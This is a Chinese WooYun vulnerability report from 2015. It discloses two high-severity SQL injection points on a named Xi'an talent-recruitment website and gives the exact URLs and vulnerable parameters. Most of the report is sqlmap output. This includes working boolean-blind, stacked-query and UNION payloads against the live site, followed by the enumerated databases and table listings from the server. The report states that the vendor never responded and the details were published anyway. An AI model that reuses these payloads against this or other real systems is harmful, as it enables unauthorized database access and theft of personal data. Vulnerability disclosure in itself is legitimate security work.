当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0143527

漏洞标题：西安市人才网某处SQL2处高危注入（涉及20库）

相关厂商：西安市人才网

漏洞作者： 花式

提交时间：2015-09-29 12:48

修复时间：2015-11-13 12:50

公开时间：2015-11-13 12:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-29： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

1.http://www.haorc.com/dangyuan/search.asp?fl=44


2.http://www.haorc.com/zdyj/zdnew.asp?newtype=0601&ai_rows=13&ai_length=28&n=%27


参数newtype

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: fl (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: fl=44 AND 4733=4733
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: fl=44;WAITFOR DELAY '0:0:5'--
    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: fl=-9912 UNION ALL SELECT NULL,CHAR(113)+CHAR(120)+CHAR(122)+CHAR(98)+CHAR(113)+CHAR(10
9)+CHAR(81)+CHAR(116)+CHAR(77)+CHAR(80)+CHAR(109)+CHAR(101)+CHAR(101)+CHAR(112)+CHAR(66)+CHAR(113)+C
HAR(98)+CHAR(98)+CHAR(106)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[02:08:56] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000


available databases [23]:
[*] $30year
[*] $XABYSJYBD
[*] $xarcfw
[*] $zjgl
[*] _article
[*] _center
[*] _jhdpc
[*] _sysuser
[*] _wjydj
[*] fpbys
[*] master
[*] model
[*] msdb
[*] Northwind
[*] PracticeBase
[*] pubs
[*] rc2
[*] RSRC
[*] sxbys
[*] tempdb
[*] XABYS_Test
[*] xarc_info
[*] xarc_web


漏洞证明：

Database: master
[41 tables]
+--------------------------------------------+
| INFORMATION_SCHEMA.CHECK_CONSTRAINTS       |
| INFORMATION_SCHEMA.COLUMNS                 |
| INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE     |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES       |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE  |
| INFORMATION_SCHEMA.DOMAINS                 |
| INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS      |
| INFORMATION_SCHEMA.KEY_COLUMN_USAGE        |
| INFORMATION_SCHEMA.PARAMETERS              |
| INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS |
| INFORMATION_SCHEMA.ROUTINES                |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS         |
| INFORMATION_SCHEMA.SCHEMATA                |
| INFORMATION_SCHEMA.TABLES                  |
| INFORMATION_SCHEMA.TABLE_CONSTRAINTS       |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES        |
| INFORMATION_SCHEMA.VIEWS                   |
| INFORMATION_SCHEMA.VIEW_COLUMN_USAGE       |
| INFORMATION_SCHEMA.VIEW_TABLE_USAGE        |
| MSreplication_options                      |
| _article                                   |
| _artuser                                   |
| _log                                       |
| _part                                      |
| dtproperties                               |
| spt_datatype_info_ext                      |
| spt_datatype_info_ext                      |
| spt_fallback_db                            |
| spt_fallback_dev                           |
| spt_fallback_usg                           |
| spt_monitor                                |
| spt_provider_types                         |
| spt_server_info                            |
| spt_values                                 |
| sysconstraints                             |
| syslogins                                  |
| sysoledbusers                              |
| sysopentapes                               |
| sysremotelogins                            |
| syssegments                                |
+--------------------------------------------+


Database: Northwind
[32 tables]
+--------------------------------+
| Categories                     |
| CustomerCustomerDemo           |
| CustomerDemographics           |
| Customers                      |
| EmployeeTerritories            |
| Employees                      |
| Invoices                       |
| Region                         |
| Shippers                       |
| Suppliers                      |
| Territories                    |
| Alphabetical list of products  |
| Category Sales for 1997        |
| Current Product List           |
| Customer and Suppliers by City |
| Order Details Extended         |
| Order Details Extended         |
| Order Subtotals                |
| Orders Qry                     |
| Orders Qry                     |
| Product Sales for 1997         |
| Products Above Average Price   |
| Products Above Average Price   |
| Products by Category           |
| Quarterly Orders               |
| Sales Totals by Amount         |
| Sales by Category              |
| Summary of Sales by Quarter    |
| Summary of Sales by Year       |
| dtproperties                   |
| sysconstraints                 |
| syssegments                    |
+--------------------------------+


就这样吧，不深入

修复方案：

你懂得

版权声明：转载请注明来源 花式@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝